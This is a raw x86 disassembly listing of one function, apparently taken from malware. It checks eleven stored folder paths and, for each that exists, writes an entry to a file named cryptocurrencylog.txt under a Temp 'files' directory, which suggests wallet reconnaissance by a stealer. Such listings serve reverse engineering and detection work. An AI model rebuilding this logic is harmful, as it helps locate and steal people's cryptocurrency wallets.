mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x418867
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41885d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d66
push edx
push ecx
call fcn.004a24e6
add esp, 8
lea edx, [ebp - 0x690]
lea ecx, [ebp - 0x3340]
call fcn.00414550
lea edx, [ebp - 0x898]
lea ecx, [ebp - 0x3548]
call fcn.00414550
lea edx, [ebp - 0xaa0]
lea ecx, [ebp - 0x3750]
call fcn.00414550
lea edx, [ebp - 0xca8]
lea ecx, [ebp - 0x3958]
call fcn.00414550
lea edx, [ebp - 0xeb0]
lea ecx, [ebp - 0x3b60]
call fcn.00414550
lea edx, [ebp - 0x10b8]
lea ecx, [ebp - 0x3d68]
call fcn.00414550
lea edx, [ebp - 0x12c0]
lea ecx, [ebp - 0x3f70]
call fcn.00414550
lea edx, [ebp - 0x14c8]
lea ecx, [ebp - 0x4178]
call fcn.00414550
lea edx, [ebp - 0x16d0]
lea ecx, [ebp - 0x4380]
call fcn.00414550
lea edx, [ebp - 0x18d8]
lea ecx, [ebp - 0x4588]
call fcn.00414550
lea edx, [ebp - 0x1ae0]
lea ecx, [ebp - 0x4790]
call fcn.00414550
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x78]
call fcn.00405bc0
add esp, 4
push str._files_cryptocurrencylog.txt
mov edx, eax
mov dword [ebp - 4], 0x15
lea ecx, [ebp - 0x60]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x418958
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x280]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x4c]
cmp edx, 8
jb 0x4189a1
mov ecx, dword [ebp - 0x60]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x418997
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d6b
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0x64]
xor eax, eax
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 7
mov word [ebp - 0x60], ax
cmp edx, 8
jb 0x4189ef
mov ecx, dword [ebp - 0x78]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4189e5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d6b
push edx
push ecx
call fcn.004a24e6
add esp, 8
cmp word [ebp - 0x690], 0
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
je 0x418a3b
lea eax, [ebp - 0x690]
push eax
call edi
cmp eax, 0xffffffff
je 0x418a3b
shr eax, 4
and al, 1
je 0x418a3b
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
cmp word [ebp - 0x898], 0
je 0x418a81
lea eax, [ebp - 0x898]
push eax
call edi
cmp eax, 0xffffffff
je 0x418a81
shr eax, 4
and al, 1
je 0x418a81
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
cmp word [ebp - 0xaa0], 0
je 0x418ac7
lea eax, [ebp - 0xaa0]
push eax
call edi
cmp eax, 0xffffffff
je 0x418ac7
shr eax, 4
and al, 1
je 0x418ac7
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
cmp word [ebp - 0xca8], 0
je 0x418b0d
lea eax, [ebp - 0xca8]
push eax
call edi
cmp eax, 0xffffffff
je 0x418b0d
shr eax, 4
and al, 1
je 0x418b0d
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
cmp word [ebp - 0xeb0], 0
je 0x418b53
lea eax, [ebp - 0xeb0]
push eax
call edi
cmp eax, 0xffffffff
je 0x418b53
shr eax, 4
and al, 1
je 0x418b53
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
cmp word [ebp - 0x10b8], 0
je 0x418b99
lea eax, [ebp - 0x10b8]
push eax
call edi
cmp eax, 0xffffffff
je 0x418b99
shr eax, 4
and al, 1
je 0x418b99
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
cmp word [ebp - 0x12c0], 0
je 0x418bdf
lea eax, [ebp - 0x12c0]
push eax
call edi
cmp eax, 0xffffffff
je 0x418bdf
shr eax, 4
and al, 1
je 0x418bdf
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
cmp word [ebp - 0x14c8], 0
je 0x418c25
lea eax, [ebp - 0x14c8]
push eax
call edi
cmp eax, 0xffffffff
je 0x418c25
shr eax, 4
and al, 1
je 0x418c25
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
cmp word [ebp - 0x16d0], 0
je 0x418c6b
lea eax, [ebp - 0x16d0]
push eax
call edi
cmp eax, 0xffffffff
je 0x418c6b
shr eax, 4
and al, 1
je 0x418c6b
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
cmp word [ebp - 0x18d8], 0
je 0x418cb1
lea eax, [ebp - 0x18d8]
push eax
call edi
cmp eax, 0xffffffff
je 0x418cb1
shr eax, 4
and al, 1
je 0x418cb1
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
cmp word [ebp - 0x1ae0], 0
je 0x418cf7
lea eax, [ebp - 0x1ae0]
push eax
call edi
cmp eax, 0xffffffff
je 0x418cf7
shr eax, 4
and al, 1
je 0x418cf7
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
int3